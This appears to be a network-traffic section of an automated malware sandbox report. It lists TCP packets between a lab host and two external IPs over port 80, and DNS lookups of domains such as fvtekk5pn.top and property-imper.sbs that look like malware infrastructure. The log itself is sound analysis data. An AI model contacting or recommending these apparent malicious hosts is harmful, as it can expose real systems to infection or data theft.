Nov 24, 2024 10:24:26.292033911 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.295026064 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.295067072 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.295074940 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.295104027 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.297724009 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.297764063 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.297835112 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.297873020 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.300785065 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.300836086 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.300868988 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.300904036 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.303797960 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.303852081 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.303884983 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.303884983 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.306705952 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.306729078 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.306755066 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.306766033 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.309689999 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.309741974 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.309827089 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.309866905 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.312787056 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.312870979 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.312915087 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.315601110 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.315642118 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.324049950 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.324151993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.324217081 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.324563980 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.324687004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.324737072 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.325664997 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.325788021 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.326586008 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.326776028 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.326893091 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.327886105 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.327935934 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.328063965 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.328991890 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.329024076 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.329032898 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.329057932 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.329991102 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.330039978 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.330054045 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.330081940 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.330146074 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.330190897 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.331152916 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.331278086 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.331340075 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.332241058 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.332348108 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.332398891 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.333322048 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.333447933 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.334419012 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.334471941 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.334536076 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.335552931 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.335601091 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.335673094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.335709095 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.336795092 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.336931944 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.336972952 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.337714911 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.337829113 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.337872982 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.338813066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.339014053 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.339910030 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.339966059 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.340020895 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.340059042 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.341084957 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.341221094 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.341522932 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.342082977 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.342199087 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.342583895 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.343173981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.343250990 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.343295097 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.344307899 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.344383955 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.344432116 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.345356941 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.345488071 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.346496105 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.346545935 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.346600056 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.347666025 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.347723007 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.347803116 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.348648071 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.348695040 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.348762035 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.348800898 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.349740982 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.349912882 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.349956989 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.350846052 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.350950956 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.350995064 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.351907015 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.352019072 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.352067947 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.353028059 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.353143930 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.354090929 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.354141951 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.354191065 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.354574919 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.355214119 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.355329037 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.355375051 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.356326103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.356555939 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.356596947 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.357388973 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.357494116 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.357536077 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.358527899 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.358702898 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.359564066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.359623909 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.359677076 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.360238075 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.360738993 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.360856056 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.360913038 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.361771107 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.361876011 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.362325907 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.362843990 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.362956047 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.363010883 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.363941908 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.364072084 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.364562988 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.365045071 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.365168095 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.365236044 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.366127014 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.366276026 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.366331100 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.367243052 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.367371082 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.367428064 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.368334055 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.368381023 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.368417025 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.369419098 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.369544983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.369723082 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.370564938 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.370708942 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.370743990 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.371654987 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.371737003 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.371815920 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.372695923 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.372767925 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.372811079 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.373800039 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.373903036 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.373955965 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.374900103 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.375006914 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.375046968 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.376027107 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.376106024 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.376143932 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.377072096 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.377187967 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.377223969 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.377866983 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.378099918 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.378210068 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.378968954 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.379046917 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.379093885 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.380049944 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.380125046 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.380202055 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.381093025 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.402123928 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.498207092 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.498223066 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.498281956 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.498328924 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.499599934 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.499646902 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.500178099 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.500238895 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.500283003 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.503199100 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.503248930 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.503262997 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.503299952 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.505423069 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.505534887 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.505549908 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.505636930 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.508460999 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.508519888 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.508570910 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.508609056 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.511401892 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.511450052 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.511495113 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.511529922 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.514364958 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.514416933 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.514461040 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.514503956 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.517354965 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.517395973 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.517414093 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.517507076 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.520347118 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.520392895 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.520447016 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.520488024 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.523339033 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.523464918 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.523520947 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.526335001 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.526391029 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.526415110 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.526480913 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.528074980 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.528167009 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.528239012 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.528326035 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.528493881 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.528713942 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.529278994 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.529367924 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.529413939 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.529473066 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.529618025 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.529678106 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.530528069 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.530818939 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.530864000 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.531629086 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.531739950 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.531876087 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.532768965 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.532850027 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.532900095 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.533869028 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.533950090 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.533998966 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.534930944 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.535005093 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.535046101 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.536223888 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.536309004 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.536372900 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.537188053 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.537364006 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.537405014 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.538049936 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.538187981 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.538295031 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.538333893 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.539294958 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.539381027 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.539506912 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.540381908 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.540498018 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.540539026 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.541460037 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.541584015 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.541636944 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.542560101 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.542679071 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.543025970 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.543075085 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.543078899 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.543097019 CET	80	49845	185.215.113.16	192.168.2.5
Nov 24, 2024 10:24:26.543144941 CET	49845	80	192.168.2.5	185.215.113.16
Nov 24, 2024 10:24:26.543656111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.543768883 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.544111967 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.544771910 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.544909000 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.545008898 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.545833111 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.545941114 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.545986891 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.546936989 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.547039032 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.547080994 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.548019886 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.548126936 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.548172951 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.549112082 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.549217939 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.549256086 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.550244093 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.550313950 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.550386906 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.551290989 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.551439047 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.551477909 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.552476883 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.552601099 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.553026915 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.553395987 CET	49840	80	192.168.2.5	34.116.198.130
Nov 24, 2024 10:24:26.553481102 CET	80	49840	34.116.198.130	192.168.2.5
Nov 24, 2024 10:24:26.553600073 CET	80	49840	34.116.198.130	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 10:24:21.609365940 CET	192.168.2.5	1.1.1.1	0x65f7	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:21.609448910 CET	192.168.2.5	1.1.1.1	0xf714	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 10:24:35.572216988 CET	192.168.2.5	1.1.1.1	0x9df1	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:48.027870893 CET	192.168.2.5	1.1.1.1	0xb577	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:48.027940035 CET	192.168.2.5	1.1.1.1	0xa3c8	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 10:24:51.330584049 CET	192.168.2.5	1.1.1.1	0x6316	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:51.330650091 CET	192.168.2.5	1.1.1.1	0x3af0	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 10:24:56.401092052 CET	192.168.2.5	1.1.1.1	0x8178	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:56.401470900 CET	192.168.2.5	1.1.1.1	0x359b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 10:24:59.670177937 CET	192.168.2.5	1.1.1.1	0xfc31	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
